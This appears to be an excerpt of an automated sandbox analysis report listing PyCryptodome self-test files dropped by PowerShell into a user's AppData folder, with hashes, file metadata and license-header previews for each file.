              Preview:# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_ChaCha20.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):20845
              Entropy (8bit):4.919874389291741
              Encrypted:false
              SSDEEP:
              MD5:6C26707E9C0059E6B221CB64D91AC717
              SHA1:8DD876F7CF6D438EF7E6F9B1117CA0F8644E7B73
              SHA-256:15EC0CCBE86A0910D0416230FAC536FC59AE0A86ED59D866E6C584AE1306E23E
              SHA-512:8C261E8630939AE97648D93562D97FDF19B098DA22C599B96918882D38809AFF208658E7D39104C353DF521E2CA2DC9126674EF1B1901C35E19F4EE50A197915
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_ChaCha20_Poly1305.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):31490
              Entropy (8bit):4.760962660094756
              Encrypted:false
              SSDEEP:
              MD5:75D6666A336FBAA99E486B14AEF6D176
              SHA1:3B11356C0D13F488C2D5F7A274D90CB27E7D3DD7
              SHA-256:15F3B00A1BC049C62C9E26EF3A06D91FDD800028BD4CBE2A82FA521EFCAB336E
              SHA-512:6606475A2DA9826A83BCED8A37F2F5F31C2B31FB13A2736565D9702B33DC660E49FFAB844E7914A3E0BD1AE790BC4D3336471CB658C6708723C713FA10DF944A
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2018, Helder Eijs <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_DES.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):16317
              Entropy (8bit):4.972164250562502
              Encrypted:false
              SSDEEP:
              MD5:99CE82AB3012C74BC91F8E8B95427E25
              SHA1:1B092CD7DECEF875899FE7B53B62C5533652335D
              SHA-256:2FF59AB811C58999DA679B0D9F25D666EBAE2FF1F1745A1044FC3DBD0E303A4F
              SHA-512:B69CA5C84B5DD23175EB96A498298A16A576E0806FDCDBBC05EB85217C8472453D674D06411F16625E32BBB84AB391353AF8EFED6D45C3A5E9ADE02970ADBC3D
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Cipher/DES.py: Self-test for the (Single) DES cipher..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_DES3.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6756
              Entropy (8bit):5.06266598549299
              Encrypted:false
              SSDEEP:
              MD5:23C5203726EDB0F1187847B33A8100E4
              SHA1:CE17C2044B3C699B97758EA1F3B2865A30F4EF2A
              SHA-256:1B98BD98C3D586FF6C16A0C281C5E16AE56F6E6B1D2742CB82D071CF6F54AFAA
              SHA-512:A589F23C35E9B0B1FCCC0D04247213018A2F6BB0F4D21303833ACDA41FC148BF884E20BCF882F0547FE99EE7F2079BA89EF7298FE822F0262E5D924072C1179E
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Cipher/DES3.py: Self-test for the Triple-DES cipher..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_EAX.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):29594
              Entropy (8bit):4.957692526089376
              Encrypted:false
              SSDEEP:
              MD5:3D9F3EE8F186BE39CD8BD11A32546DB9
              SHA1:B925778DB3FDED551EAB7C8D2BDC70566E1A8FF5
              SHA-256:DBC39CEA208C0A3D8963C29360393E485FEDB9A8F66C0A9CAD285014C96FDF58
              SHA-512:38630AF0D2242F8425375F6E87FE5C1F81BF71FC74F2EF8CC6BF245E4B3E61D47D9A260960C2303B87740424E330DDB27858B4670E07944C3F615C92B700643A
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_GCM.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):38227
              Entropy (8bit):4.989191313246231
              Encrypted:false
              SSDEEP:
              MD5:63DEBE7801411BF7CE24C24D875307ED
              SHA1:DC67FA052453B85A8A6B1E7C4DA386F821534E13
              SHA-256:FBD00F487173D330C461DC53F14CB971BDC708630515BF343864F83A7DD98C1A
              SHA-512:B98888E159F2E530A90C07D0146FC95019B667C1C8B1836FFCD66F2D403D65D26143E171FE5F822113FC3508D0BC1A108D49C9F79D14A036685E921FEE6BF0A7
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_OCB.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):33484
              Entropy (8bit):4.976278818343072
              Encrypted:false
              SSDEEP:
              MD5:3CB37B2EE0C4CF45377BEB9DA08640F7
              SHA1:2723FA871E7A5FAA48B95344D262EC8181B26D99
              SHA-256:05D877E5930EE6784FD584014DC9F96F5022B788B18902907CF8283153FA252D
              SHA-512:D7CE67901EE4DC0374EE449D2E0F97D2A6BC8B3E3A7042AE914E6F631D6CF136E5C5CEFC627C42514EB6F6BDED066BB777080019036D38EF2BB0B62DED88AB5F
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_OFB.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):9605
              Entropy (8bit):5.31125213354927
              Encrypted:false
              SSDEEP:
              MD5:69D45753BA108E314F2EC3139D23F1AB
              SHA1:F4A946A36A10D898F0363CB435E5E2D5B3A82AA3
              SHA-256:D6E8220E8F383C767A2EAC33A812B5B63962A7BAE8ED083C72EA32EB39440BC2
              SHA-512:5D00264AB5B0CB21D1BB75FB5A046D545EB58EDE1B7C1E251A1D023BE2F6DBBDFCF9B8557DAB0DFD5704B876E1E96B34F97D1BD1A5224598761088114191D1AB
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_OpenPGP.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):8695
              Entropy (8bit):5.233149864619367
              Encrypted:false
              SSDEEP:
              MD5:F0B2D0E39D7957BD5486A415E9979E34
              SHA1:36FD6B0A542857E099084680148FFC5732F3246B
              SHA-256:4AB75E51F66DD9C80B9B893C7EB35EEE23D93E14A6368099337987E3692D1B2B
              SHA-512:30414BECFFD622EA003C416A865CC5CEDA0BEB8C28462D1499D170818E4B91AF5E42377CBECE3D344920632CB250502B6E1921833D263805AB7FACED31774150
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_SIV.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):20491
              Entropy (8bit):5.006612959191385
              Encrypted:false
              SSDEEP:
              MD5:24B5612D20DECB36BBA91195B3D38B6C
              SHA1:AFC72B63DF008E0175F1A3DBDBCABAE4A9AC4323
              SHA-256:AC2B287F231294E23E8037A25773BD7A67A54A72AB1FD6FD4D2652244E985D9A
              SHA-512:7989BAB6E0A17F65895E8E8966FBE9997B53DD07820E9FE3DF79C6D618E03CF9B296F46387949904F00A65FDA6292D8F59F84B1680840E069415F004521FC0BC
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_Salsa20.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):16958
              Entropy (8bit):5.160995992543063
              Encrypted:false
              SSDEEP:
              MD5:20A190205D607A6AA44E8DC20A17310C
              SHA1:265351009BC9D8E1E39EB5F62F0A52C7B560BBB0
              SHA-256:F99CC569B39F3163A2025A128A4323E3454BC32473624627920287EC0DBB667E
              SHA-512:E8092EAC3CAB508AED453204CAA382B5FAD940425DE158106E0F738101A5E1C5326CE3402D3090E932C3DB156355DA61CEB3B7E52B358B8AF42FD5BE7C26006E
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Cipher/Salsa20.py: Self-test for the Salsa20 stream cipher..#..# Written in 2013 by Fabrizio Tarizzo <fabrizio@fabriziotarizzo.org>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_pkcs1_15.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):11227
              Entropy (8bit):4.882703342503383
              Encrypted:false
              SSDEEP:
              MD5:7B5B7AFA67531ACD4B7753B49FCE8CAB
              SHA1:1D6933BB1C12E3140C30BA4C4B7E5A10BA687900
              SHA-256:A33F4341D43D86CE8F8C87F2BCCC5DE1300CA223E2A53279B20348886C17F0C7
              SHA-512:15EE4D1DDBC6AF819FE33602CCF7E31DA34F15B7CF580DE0AEBF925511477D39D01C003FA2B630360FFBC724855EC555942311A6A08829E3A6581B0557EFBAE9
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Cipher/test_pkcs1_15.py: Self-test for PKCS#1 v1.5 encryption..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..#

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Cipher\test_pkcs1_oaep.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):22796
              Entropy (8bit):4.426757156222012
              Encrypted:false
              SSDEEP:
              MD5:473FEB7F8AE236A1D02B3A61AE7B5514
              SHA1:9B1A0F819C8511085A16B8D50A337B52A6367713
              SHA-256:22DA3EC31421A2552198EF2AE00E6019DF85CBEAC74D428A50DF9CD6AB7210CA
              SHA-512:2377F27C15BD33D2BC9EA87C706B9BD981623B1394CDDBE49F2E8A76B6167C00128A476774B1FBADF5D17DBF95E160DF661FDBB110A2A6E3B4652DDC3E06D2BE
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Cipher/test_pkcs1_oaep.py: Self-test for PKCS#1 OAEP encryption..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Hash\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3879
              Entropy (8bit):5.141658250590196
              Encrypted:false
              SSDEEP:
              MD5:89BDBFC47A5DCA90A45F4EF652DD7101
              SHA1:A9C8FFA344033B3EC5B43A5DAA3DA64EEAEB704E
              SHA-256:62225A7DF06D003A465C3BA5612F695BADB31559152C1492354B5C44A0A63BB5
              SHA-512:C665CDC1CA849D15EDA7AB0D9E26E4DCE1CF76CDCD4CD5E942691BD9017994EB39787828CB3131AD41ED90C1887FF856D68B2FA0DD2B14F74724A0A1E59F8342
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Hash/__init__.py: Self-test for hash modules..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH TH

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Hash\common.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):10168
              Entropy (8bit):4.841216501855338
              Encrypted:false
              SSDEEP:
              MD5:84B9FB90649EE10FEC0136B69073C4C1
              SHA1:8F804BA750722F19CCAC8B22915563FB3EDB0A85
              SHA-256:6AA885ED7E71F39C2197E822A1867B806660F4CBF4FC8E8197C3A0ED492272F4
              SHA-512:78B2A90CF9AF1E7CAEFC7BC83B9B18089013AAE849DC7D8E00B86E1BF5D399869B98D14362429D5C9576D3BD577914AE164B71E2E6489F6A8EDF40B8312B39D8
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Hash/common.py: Common code for Crypto.SelfTest.Hash..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Hash\test_BLAKE2.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):16796
              Entropy (8bit):4.783532264114981
              Encrypted:false
              SSDEEP:
              MD5:63C8BAAC2382F26688A38B881323D894
              SHA1:005EECF1A5129FF2FD3350DF3F5561B87B1026F2
              SHA-256:D0770C758F2BD4BBFAC6C111050928550D39BB48254E2A9DA3934B40937FCD9F
              SHA-512:135B94C2F4C5E53B1206F6AD70FDC5D3E89C47DF842920951ED75917CD4E4CA0EB2B0E3BC60F31F70F6368612B7BB4BF07EA02BFFDEB5FC0276B3D365B08A0D3
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Hash\test_CMAC.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13808
              Entropy (8bit):5.08051172614129
              Encrypted:false
              SSDEEP:
              MD5:70594C0C5C1D69E570F8115F02EC0FDF
              SHA1:6B6BB2EF4F4C0BF757485FDF8EA0043F773F1D77
              SHA-256:9158FFBC96E70A527A5D5758A3E9D98D9DC8905818FB747A1A800A294A17D320
              SHA-512:19CB67F0CC67F4876D9319558C27118E34C2AF3DB7094CBB358BFC1A159396F5C3AF29EF39F1F1FDFF718C01159D9230651E6F92C1739D07486CC7E412EE2C87
              Malicious:false
              Reputation:unknown
